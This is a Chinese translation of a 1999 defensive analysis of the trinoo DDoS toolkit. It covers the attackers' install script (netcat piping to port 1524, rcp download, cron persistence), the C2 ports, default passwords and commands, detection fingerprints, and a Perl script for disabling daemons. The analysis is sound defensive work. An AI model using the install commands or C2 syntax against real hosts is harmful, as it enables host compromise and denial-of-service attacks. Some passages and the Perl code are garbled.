本文是对拒绝服务攻击工具包trinoo中主/从程序服务器的一些分析。
Trinoo守护程序的二进制代码包最初是在一些Solaris 2.x主机中发现的,这些主机是被攻击者利用RPC服务安全漏洞"statd"、"cmsd"和"ttdbserverd"入侵的。关于这些漏洞的详细资料请参阅CERT事件记录99-04:
http://www.cert.org/incident_notes/IN-99-04.html
最初的trinoo守护程序来源于某些基于UDP协议和有访问控制的远程命令shell,并很有可能附带有能自动记录的嗅探器(sniffer)。
在研究这个工具包的过程中,捕获到了Trinoo攻击网络的安装过程及一些源代码。我们就是利用这些捕获到的源代码进入了深入的分析。
对这些源代码的任何修改,如提示、口令、命令、TCP/UDP端口号或所支持的攻击方法、签名和具体功能,都可能使分析的结果与本文不同。
该守护程序是在Solaris 2.5.1和Red Hat Linux 6.0上编译并运行。主服务器 (master) 在Red Hat Linux 6.0上编译和运行。但也许守护程序和主服务器都可在其它同类平台中使用。
Trinoo网络可能包含几百、甚至几千台已被入侵的互联网主机组成。这些主机很可能都被装上了各种"后门"以方便再次进入系统。
在1999年8月17日,一个由至少227台主机(其中114台属于Internet2主机)组成的trinoo网络攻击了位于明尼苏达(Minnessota)大学的一台主机,其结果是该主机网络崩溃超过两天。而在调查这次攻击期间,又有至少16台其它主机被攻击,其中包括了一些美国以外的主机。(请参阅附录D以了解此次trinoo攻击的报告。
攻击过程
一次典型的攻击过程很可能是这样的:
1)一个盗取来的帐号被用于编译各种扫描工具、攻击工具(如缓冲区溢出程序)、rootkit和sniffer、trinoo守护程序、主服务器、入侵主机、目标主机清单等等。这个系统往往是一些拥有很多用户、存在管理漏洞和具有高速连接速率(以进行文件传输)的大型主机系统。
2)然后对一个大范围的网络进行扫描以确定潜在的入侵目标。最有可能的是那些可能存在各种远程缓冲区溢出漏洞的主机,如wu-ftpd、RPC服务(cmsd, statd,ttdbserverd,amd)等。这些主机的操作系统最好是Sun Solaris 2.x和Linux,以便充分利用各种现成的rootkits和后门程序等。如果是其它系统则可用来保存工具和记录。
3)在得到入侵主机清单后,编写实现入侵攻击、监听TCP端口(通常为1524"ingreslock")和连接到该端口以确定入侵成功的脚本程序。或者通过发送电子邮件到一个免费WEB邮箱以确认已入侵该主机。
入侵完成后将产生一个"被控制"主机清单,这些主机将被用于放置后门、sniffer或trinoo守护程序或trinoo主服务器。
4)从已入侵系统清单中选出满足建立trinoo网络需要的主机,放置已编译好的trinoo守护程序。
5)最后,运行DoS攻击脚本,该脚本根据上面建立的被入侵主机清单,生成另外的脚本程序,在后台以最快的速度自动安装。脚本使用"netcat"将shell脚本发送到被入侵主机的1524/tcp端口。
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
其中的"trin.sh"脚本产生如下输出:
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
echo "chmod +x /usr/sbin/rpc.listen"
echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"
cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
只要时常检查crontab文件,可以轻易监测到该主机是否已被trinoo侵入。
在其它系统还发现了另一种方法:守护程序的名字被改为"xterm",然后通过脚本执行它。
cd /var/adm/.1
PATH=.:$PATH
export PATH&1
在这个守护程序中通过运行脚本来完成trinoo网络的建立是完全有可能的。
更隐蔽的方法是让trinoo守护程序/主服务器只在某个给定时间才被唤醒运行,并打开监听的TCP或UDP端口。
整个自动安装过程使攻击者在极短的时间内,利用大量的被入侵主机建立了拒绝服务攻击网络。
6)作为一种选择,rootkit常常被安装到系统中以隐藏攻击程序、文件和网络连接。这对运行主服务器的系统更为重要,因为它是trinoo网络的核心部份。(注:在许多情况下,主服务器往往被安装在互联网服务供应商(ISP)的域名服务器上,DNS服务器大量的通讯流量、大量的TCP/UDP连接,将为隐蔽trinoo的网络连接、攻击过程和文件存放提供非常有利的帮助。(此外,除非能确定在域名服务器中存在拒绝服务工具的行为,否则系统管理员一般不会轻易中断系统服务进行安全检查。)
Rootkits也可能在安装了sniffer的系统中使用,例如"hunt"(TCP/IP会话监视器)等可直接窃听网络通讯细节的程序。这样就不用通过远程缓冲区溢出程序进入系统了。:)
要想得到更多关于rootkits的资料,请访问以下网址:
http://staff.washington.edu/dittrich/faq/rootkits.faq
目标主机
Trinoo网络由主服务器(master.c)和trinoo守护程序(ns.c)组成。一个典型的trinoo网络结构如下:
攻击者常常控制一个或多个"主服务器"服务器,而每一个"主服务器"服务器控制多个"守护程序"(我们可以称之为广播主机"Bcast/broadcast")。所有接收到指令的守护程序都使用攻击数据包同时攻击一个或多个目标主机系统。
Trinoo如何实现这个功能呢?是攻击者与主服务器通过"telnet"协议建立TCP连接,并通过发送带有口令的攻击指令,实现大范围、大流量、并发性的拒绝服务攻击。
通讯端口
攻击者到主服务器:27665/TCP
主服务器到守护程序:27444/UDP
守护程序到主服务器:31335/UDP
Trinoo主服务器的远程控制是通过在27665/TCP端口建立TCP连接实现的。在连接建立后时,用户必须提供正确的口令("betaalmostdone")。如果在已有人通过验证时又有另外的连接建立,则一个包含正在连接IP地址的警告信息会发送到已连接主机(程序提供的IP地址似乎有错,但警告信息仍被发送)。毫无疑问地,这个功能最终的完整实现将能给予攻击者足够的时间在离开之前清除痕迹。
从trinoo主服务器到守护程序的连接是在27444/UDP端口上实现。命令行格式如下:
arg1 password arg2
其中缺省的口令是"l44adsl",只有包含此口令子串"l44"的命令行会被执行。
从trinoo守护程序到主服务器的连接是在31335/UDP端口上实现。
当守护程序启动时,它将发送初始化字符串"*HELLO*"到主服务器。主服务器会(通过"sniffit"程序捕获)记录并维护已激活的守护程序清单:
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *
如果trinoo主服务器通过27444/UDP端口向一个守护程序发送"png"命令,该守护程序将通过31335/UDP端口向发送"png"命令的主机返回字符串"PONG":
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
口令保护
主服务器和守护程序都有口令保护,以阻止系统管理员(或其他黑客组织)得到该trinoo网络的控制权。口令使用crypt()函数加密。这是一种对称式加密方式。经过加密的口令保存在已编译的主服务器和守护程序中,并与以明文方式在网络中传输的口令比较(目前的版本并没有加密通讯会话,因此不难截获在主服务器TCP控制会话中传送的明文口令。
初始化运行时,出现主守护进程提示符,将等待输入口令。如果口令不正确,程序退出;如果口令正确,提示进程正在运行,然后产生子进程在后台运行,最后退出:
# ./master
?? wrongpassword
#
. . .
# ./master
?? gOravev1.07d2+f3+c [Sep 26 1999:10:09:24]
#
与此类似地,当连接到远程命令端口(27665/TCP)时,你也必须输入口令:
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host.
. . .
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
从主服务器发送到trinoo守护程序的某些命令也会有口令保护。这些口令在主服务器与守护程序间又明文形式传送。
缺省的口令如下:
"l44adsl" trino守护程序口令
"gOrave"trinoo主服务器启动(提示"?? ")
"betaalmostdone"trinoo主服务器远程接口口令
"killme"trinoo主服务器控制指令"mdie"验证口令
主服务器命令
rinoo主服务器支持以下命令:
die 关闭主服务器
quit退出主服务器登录
mtimer N设置DoS定时器为N秒。N的取值范围从1到1999秒。如果N<1,2000,则使用缺省值500。
mdie pass 如果口令验证通过,则停止所有广播(Bcast)主机。命令
"d1e 144adsl"被发送到每一个广播主机,使它们停止。此命
令需要一个单独的口令。
mping 发送PING命令"png 144adsl"到每一台已激活的广播主机。
mdos
向每一个广播主机发送多DoS攻击命令
("xyz 144adsl 123:ip1:ip2:ip3")。
info打印版本和编译信息。如:
This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c
Compiled 15:08:41 Aug 16 1999
msize 设置DoS攻击时使用的数据包缓冲区大小。
nslookup host对指定的主机进行域名查询。
killdead尝试清除死锁的广播主机。首先向所有已知的广播主机发送
"shi l44adsl"命令。(任何处于激活状态的守护程序会回
送初始化字符串"*HELLO*"。)然后(通过-b参数)修改广
播主机清单文件名字。这样当"*HELLO*"包被接收后能够重
新初始化。
usebackup 切换到由"killdead"命令建立的广播主机备份文件。
bcast 列出所有激活的广播主机。
help [cmd]服务器或命令的帮助信息,
mstop 试图停止一个DoS攻击(此现在尚未实现,但在help命令中列出。)
守护程序命令
Trinoo守护程序支持以下命令:
aaa pass IP 攻击指定的IP地址。按固定的时间间隔(缺省为120秒,或
"bbb"命令设定的1-1999值)向指定IP地址的随机UDP端口
(0-65534)发送UDP数据包。数据包大小由"rsz"命令指定,
缺省为1000字节。noo守护程序
rsz N 设置DoS攻击的缓冲区大小为N字节。(Trinoo守护程序调
用malloc()分配该大小的缓冲区,然后发送随机的数据包
内容进行攻击。)
xyz pass 123:ip1:ip2:ip3
多个DoS攻击。类似"aaa"命令,但可以同时攻击多个IP地址。
工 具 特 征
-----------
最常使用的安装trinoo守护程序的方法是在系统中添加crontab项,以使守护程序能在每分钟均在运行。检查crontab文件会发现如下内容:
* * * * * /usr/sbin/rpc.listen
主服务器程序会建立一个包含广播主机清单的文件(缺省文件名为"...")。如果使用了"killdead",向"..."文件中的所有守护程序发送"shi"命令会使这些守护程序向所有的主服务器发送初始化字符串"*HELLO*"。然后这个清单文件被改名(缺省为"...-b"),而根据每一个发送了"*HELLO*"字符串(激活状态)的守护程序生成新的清单文件。
源代码("master.c")包含以下程序行:
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
comment out for no encryption... */
#define CRYPTKEY "ZsoTN.cq4X31"
. . .
如果程序编译时指定了解CRYPTKEY变量,则广播主机的IP地址将使用Blowfish算法加密:
# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b
# cat ...
JPbUc05Swk/0gMvui18BrFH/
# cat ...-baE5sK0PIFws0Y0EhH02fLVK.
JPbUc05Swk/0gMvui18BrFH/
假设没有使用rootkit隐藏进程,主服务器可以显示出以下网络套接字特征指纹(当然,程序的名称和路径名会有所不同。):
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp00 *:27665 *:* LISTEN
. . .
udp00 *:31335 *:*
. . .
# lsof | egrep ":31335|:27665"
master 1292 root3uinet 2460UDP *:31335
master 1292 root4uinet 2461TCP *:27665 (LISTEN)
# lsof -p 1292
COMMANDPID USER FD TYPE DEVICESIZENODE NAME
master1292 rootcwdDIR3,11024 14356 /tmp/...
master1292 rootrtdDIR3,11024 2 /
master1292 roottxtREG3,1 30492 14357 /tmp/.../master
master1292 rootmemREG3,1342206 28976 /lib/ld-2.1.1.so
master1292 rootmemREG3,1 63878 29116 /lib/libcrypt-2.1.1.so
master1292 rootmemREG3,1 4016683 29115 /lib/libc-2.1.1.so
master1292 root0u CHR4,12967 /dev/tty1
master1292 root1u CHR4,12967 /dev/tty1
master1292 root2u CHR4,12967 /dev/tty1
master1292 root3uinet 2534 UDP *:31335
master1292 root4uinet 2535 TCP *:27665 (LISTEN)
而运行了守护程序的系统会显示以下特征指纹:
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
. . .
udp00 *:1024*:*
udp00 *:27444 *:*
. . .
# lsof | egrep ":27444"
ns 1316 root3uinet 2502UDP *:27444
# lsof -p 1316
COMMANDPID USER FD TYPE DEVICESIZE NODE NAME
ns1316 rootcwdDIR3,11024 153694 /tmp/...
ns1316 rootrtdDIR3,110242 /
ns1316 roottxtREG3,16156 153711 /tmp/.../ns
ns1316 rootmemREG3,134220628976 /lib/ld-2.1.1.so
ns1316 rootmemREG3,1 6387829116 /lib/libcrypt-2.1.1.so
ns1316 rootmemREG3,1 401668329115 /lib/libc-2.1.1.so
ns1316 root0u CHR4,1 2967 /dev/tty1
ns1316 root1u CHR4,1 2967 /dev/tty1
ns1316 root2u CHR4,1 2967 /dev/tty1
ns1316 root3uinet 2502UDP *:27444
ns1316 root4uinet 2503UDP *:1024
防御
当然,最好的防御是首先防止出现入侵和root级别的安全威胁,这样你的系统就不会被安装了trinoo主服务器/守护服务器。在理想的世界中,所有系统都打了所有的补丁,是安全的,是被监控的,入侵监测系统和防火墙都能成功监测和拒绝攻击数据包,而我则是一个六个月生活在巴里岛、六个月生活在法国阿尔卑斯山的百万富翁。:) 但在现实世界中,这是无法实现的(至少在可预见的将来)。
如果现在你的网络可能已安装了数个运行中的trinoo守护程序,并随时准备对其它系统进行DoS攻击,如何才能发现并阻止它们呢?
因为这些程序在通讯和攻击中都使用了高级UDP端口,要想直接阻塞这些通讯是非常困难的(但不是不可能),除非你修改那些使用高级UDP端口的程序。
最简单的检查是否存在trinoo主服务器和守护程序的方法也许是在共享的以太网数据段中监视所有的UDP数据包,寻找在本文中提到的关于主服务器与守护程序通讯标记。然而不幸的是,这些活动只能在目标主机受到DoS攻击时/后才有可能被发现和检测到。
如果怀疑系统存在正在进行攻击的trinoo守护程序,对运行了守护程序的系统中运行Solaris的"truss"程序将会得到如下输出:
. . .
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C)= 0
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C)= 0
time()= 938385467
open("/dev/udp", O_RDWR)= 5
ioctl(5, I_PUSH, "sockmod")= 0
ioctl(5, I_STR, 0xEFFFF748)= 0
ioctl(5, I_SETCLTIME, 0xEFFFF7FC)= 0
ioctl(5, I_SWROPT, 0x00000002)= 0
sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
ioctl(5, I_STR, 0xEFFFF660)= 0
sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0)= 0
ioctl(5, I_STR, 0xEFFFF548)= 0
sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
time()= 938385467
. . .
当出现攻击单个目标时,使用"tcpdump"监听网络通讯有如下输出:
# tcpdump ip host 192.168.0.1
. . . 192.168.0.1.27444: udp 25 216.160.XX.YY.16838: udp 4 (DF) 216.160.XX.YY.5758: udp 4 (DF) 216.160.XX.YY.10113: udp 4 (DF) 216.160.XX.YY.17515: udp 4 (DF) 216.160.XX.YY.31051: udp 4 (DF) 216.160.XX.YY.5627: udp 4 (DF) 216.160.XX.YY.23010: udp 4 (DF) 216.160.XX.YY.7419: udp 4 (DF) 216.160.XX.YY.16212: udp 4 (DF) 216.160.XX.YY.4086: udp 4 (DF) 216.160.XX.YY.2749: udp 4 (DF) 216.160.XX.YY.12767: udp 4 (DF) 216.160.XX.YY.9084: udp 4 (DF) 216.160.XX.YY.12060: udp 4 (DF) 216.160.XX.YY.32225: udp 4 (DF)
. . .
缺陷及弱点
第一个缺陷就是使用crypt()函数加密的口令,和能够截获主服务器与守护程序之间通讯时的提示信息与返回字符串。
这能够使你识别出是否存在主服务器或守护程序,确定是否存在本文所提到的缺省口令,也有可能让你通过解密该口令来获取某些(甚至全部)trinoo网络的控制权。
但如果源代码被那些聪明的攻击者修改了,你也许就要破解口令,或使用十六进制/ASCII编辑器修改二进制代码文件中的命令序列来获得主程序/守护程序主机清单。
如果源代码非常幸运地没有被修改,可以通过搜索文件中的字符串找到缺省安装口令:
# strings - ns
. . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V.<=== crypt() encrypted password "l44adsl"
PONG
*HELLO*
. . .
# strings - master
. . .
---v
v1.07d2+f3+c
trinoo %s
l44adsl<=== clear text version of daemon password
sock
0nm1VNMXqRMyM<=== crypt() encrypted password "gOrave"
10:09:24
Sep 26 1999
trinoo %s [%s:%s]
bind
read
*HELLO*
ZsoTN.cq4X31<=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY<=== crypt() encrypted password "betaalmostdone"
trinoo %s..[rpm8d/cb4Sx/]
. . .
DoS: usage: dos
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE<=== crypt() encrypted password for "mdie" command
mdie: Disabling Bcasts.
d1e %s
mdie: password?
. . .
第二个更大的缺陷是在网络中以明文方式传送的守护程序口令。假设你已知道主服务器与客户端(守护程序)的UDP连接端口号,就可以用"sniffit"、"ngrep"、"tcpdump"或其它网络监听程序截
获UDP数据包中的口令(附录A是一个使用"ngrep"的例子)。
例如:以下是通过"sniffit"截获的包含"png"命令的数据包内容:
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
正如前文提到的,trinoo主服务器的"mdie"命令是有口令保护的。有几种方法可以破解它。
如果你能够使用UNIX命令"strings"找到了加密口令,也许可以使用口令破解工具进行解密(请参阅附录C)。虽然这种破解方法可能耗时很长(如果口令强度大的话),但确实是可行的。(我们在一台Pentium II机器上花了不到30秒就破解出"mdie"命令的口令是"kellme"。)
你也可能试图在攻击者与主服务器之间的网络上窃听口令,但如果需要这个口令的命令并不经常(甚至根本从未)被执行,则难度将会很大。
你也许很幸运地截取到守护程序口令,因为大多数命令都需要它。这种情况可能出现在守护程序端或主服务器端的网络(这两个服务器可能属于两种完全不同类型的网络)中。在守护程序端网络进行截取更为可取,因为守护程序的数量远比主服务器数据多。另一个原因是许多主服务器被发现在主域名服务器中运行,此主机上的高级UDP端口的数据流量将比守护程序所在主机的数据流量大得多,窃听难度也就加大了许多。此外,当你发现在某个站点上运行了数个守护程序,这往往意味着你可以完全确定该系统被入侵了。:)
一旦找到了守护程序,你就能够获得主服务器所在的IP地址清单(可通过"strings"命令)。你应该立刻通过这些站点管理员对其主机进行详细的系统入侵检测。(如果攻击者使用了rootkit,则可能需要咨询专业的安全公司和专家。)
如果发现的是主服务器,则可在其守护程序清单文件中获得所有的守护程序IP地址(如果未被加密的话)。但如果该文件被加密了,你或者使用编译到文件中的口令关键字进行解密(其加密算法为Blowfish算法),或者控制该主服务器并使用"bcast"命令取得激活的守护程序列表。
如果你发现了一个与主服务器的活动会话(该会话是一个"telnet"的TCP会话),你可以使用"hunt"程序截获该会话,并运行命令。虽然不知道"mdie"命令的口令,无法直接停止所有的守护程序,但你可以使用"bcast"命令获取所有的守护程序清单。(由于该清单可能包含一个很大的列表,建议编写命令脚本来实现。)
一旦你知道了所有守护程序的IP地址,和守护程序口令,就可以发送包含了正确命令串的UDP数据包给任何可疑的trinoo守护程序。LibNet、Spak和Perl Net::RawIP库等工具可用于构造和发送UDP数据包。(一个使用了Net::RawIP的Perl脚本"trinot"专用于完成此项工作。请参阅附录B。)
因为守护程序的典型安装过程向系统添加了一个使其每分钟自动运行的crontab入口项,你应该彻底清除它们,以阻止其重新运行。
在你的网络中窃听到包含字符串"*HELLO*"、"PONG"或其它特征字符串的UDP包也能证明守护程序已被安装到网络中。注意,这只适用于源代码未经修改的版本。以下是"ngrep"程序成功捕获的例子:
# ngrep -i -x "*hello*|pong" udp
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
. . .
# 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a*HELLO*
### 10.0.0.1:31335
50 4f 4e 47 PONG 10.0.0.1:31335
50 4f 4e 47 PONG 10.0.0.1:31335
50 4f 4e 47 PONG
. . .
即使trinoo本身没有弱点,但在trinoo网络却仍然可以找到其弱点。
正如前文提到的,一些系统使用了crontab来运行守护程序,这是一个非常明显的标记。
自动安装trinoo网络的脚本使用了Berkeley的"rcp"命令。只要监视本系统到网络外部IP地址的"rcp"连接(514/TCP),就能够迅速地得到确定。(注:脚本中使用的"rcp"需要主机间的信任关系,这往往是在用户的~/.rhosts文件中包含"+ +"。通过检查这个文件也能立刻知道是否可能出现了系统入侵。)
(对trinoo更进一步的分析请参阅附录E中由George Weaver of Pennsylvania State University 和 David Brumley of Stanford niversity编写的"更多的监测trinoo方法"一文。)
附录A:"ngrep"捕获的网络会话
以下是"ngrep"捕获的一个攻击会话实例:
# ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 )
match: .*
# 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a*HELLO*
# 10.0.0.1:27665 [AP]
ff f4 ff fd 06.....
###### 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f73 74 64 6f 6e 65 0d 0abetaalmostdone..
# 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 20 7631 2e 30 37 64 32 2b 66trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 706d 38 64 2f 63 62 34 533+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]...
## 192.168.100.1:1074 [AP]
### 10.0.0.1:27665 [AP]
62 63 61 73 74 0d 0abcast..
# 192.168.100.1:1074 [AP]
4c 69 73 74 69 6e 67 2042 63 61 73 74 73 2e 0aListing Bcasts..
0a.
### 192.168.100.1:1074 [AP]
31 39 32 2e 31 36 38 2e30 2e 31 2e 20 20 20 0a192.168.0.1.
0a 45 6e 64 2e 20 31 2042 63 61 73 74 73 20 74.End. 1 Bcasts t
## 10.0.0.1:27665 [AP]
6d 74 69 6d 65 72 20 3130 30 30 0d 0a mtimer 1000..
## 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 2053 65 74 74 69 6e 67 20mtimer: Setting
74 69 6d 65 72 20 6f 6e20 62 63 61 73 74 20 74timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000..
# 192.168.0.1:27444
62 62 62 20 6c 34 34 6164 73 6c 20 31 30 30 30bbb l44adsl 1000
## 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 2053 65 74 74 69 6e 67 20mtimer: Setting
74 69 6d 65 72 20 6f 6e20 62 63 61 73 74 20 74timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000..
### 192.168.100.1:1074 [AP]
### 10.0.0.1:27665 [AP]
6d 73 69 7a 65 20 33 3230 30 30 0d 0a msize 32000..
# 192.168.0.1:27444
72 73 7a 20 33 32 30 3030 rsz 32000
# 192.168.100.1:1074 [AP]
### 10.0.0.1:27665 [AP]
64 6f 73 20 32 31 36 2e31 36 30 2e 58 58 2e 59dos 216.160.XX.Y
59 0d 0aY..
# 192.168.100.1:1074 [AP]
44 6f 53 3a 20 50 61 636b 65 74 69 6e 67 20 32DoS: Packeting 2
31 36 2e 31 36 30 2e 5858 2e 59 59 2e 0a16.160.XX.YY..
# 192.168.0.1:27444
61 61 61 20 6c 34 34 6164 73 6c 20 32 31 36 2eaaa l44adsl 216.
31 36 30 2e 58 58 2e 5959 160.XX.YY
# 192.168.100.1:1074 [AP]
## 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit..
# 192.168.100.1:1074 [AP]
62 79 65 20 62 79 65 2e0a bye bye..
### 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f73 74 64 6f 6e 65 0d 0abetaalmostdone..
## 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 20 7631 2e 30 37 64 32 2b 66trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 706d 38 64 2f 63 62 34 533+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]...
### 192.168.100.1:1075 [AP]
### 10.0.0.1:27665 [AP]
6d 70 69 6e 67 0d 0amping..
## 192.168.100.1:1075 [AP]
6d 70 69 6e 67 3a 20 5365 6e 64 69 6e 67 20 61mping: Sending a
20 50 49 4e 47 20 74 6f20 65 76 65 72 79 20 42 PING to every B
63 61 73 74 73 2e 0acasts..
# 192.168.0.1:27444
70 6e 67 20 6c 34 34 6164 73 6c png l44adsl
## 10.0.0.1:31335
50 4f 4e 47 PONG
## 192.168.100.1:1075 [AP] PONG 1 R
65 63 65 69 76 65 64 2066 72 6f 6d 20 31 39 32eceived from 192
2e 31 36 38 2e 30 2e 310a .168.0.1
## 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit..
# 192.168.100.1:1075 [AP]
62 79 65 20 62 79 65 2e0a bye bye..
附录B - Trinot脚本
-------------------------------cut here-----------------------------------
#!/usr/bin/perl -w
#
# trinot v. 1.1
# By Dave Dittrich
#
# Send commands to trinoo daemon(s), causing them to PONG, *HELLO*
# to all their masters, exit, etc.Using this program (and knowledge
# of the proper daemon password), you can affect trinoo daemons
# externally and monitor packets to verify if the daemons are up,
# expose their masters, or shut them down.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./trinot host1 [host2 [...]]
#./trinot -S host
#./trinot -p password -P host
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek )
require 'getopts.pl';
use Net::RawIP;
{}});
chop($hostname = `hostname`);
Getopts('PSDp:f:s:d:l:i:vh');
die "usage: $0 [options] host1 [host2 [...]]\t-P\t\t\tSend \"png\" command\t-S\t\t\tSend \"shi\" command\t-D\t\t\tSend \"d1e\" command (default)\t-p password\t\t(default:\"l44adsl\")
\t-f from_host\t\t(default:$hostname)\t-s src_port\t\t(default:random)\t-d dest_port\t\t(default:27444)\t-l ipfile\t\tSend to IP addresses in ipfile\t-i interface \t\tSet sending interface (default:eth0)\t-v\t\t\tVerbose\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$s_port = ($opt_s) ? $opt_s : int rand 65535;
$d_port = ($opt_d) ? $opt_d : 27444;
$pass = ($opt_p) ? $opt_p : "l44adsl";
# choose network card
if($opt_e) { $opt_e);
} else {ethnew($opt_i);
}
$cmd = ($opt_P) ? "png $pass" :
($opt_S) ? "shi $pass" :
($opt_D) ? "d1e $pass" :
"d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;
if ($opt_l) {
open(I,"<$opt_l") || die "could not open file: '$opt_l'";
while () {
chop;
push(@ARGV,$_);
}
close(I);
}
foreach $d_host (@ARGV) { $d_host}, $cmd}
});
print "sending '$cmd' to $d_host\n" if $opt_v;send;
}
exit(0);
-------------------------------cut here-----------------------------------
附录C - 参考文摘
TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.
lsof:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
tcpdump:
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z
hunt:
http://www.cri.cz/kra/index.html
sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html
ngrep:
http://www.packetfactory.net/ngrep/
loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ]
http://www.phrack.com/search.phtml?view&article=p49-6
Phrack MagazineVolume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ]
http://www.phrack.com/search.phtml?view&article=p51-6
LibNet:
http://www.packetfactory.net/libnet/
Net::RawIP:
http://quake.skif.net/RawIP
crack:
http://www.crypto.dircon.co.uk/
Password cracking utilities:
http://packetstorm.securify.com/Crackers/
targa.c:
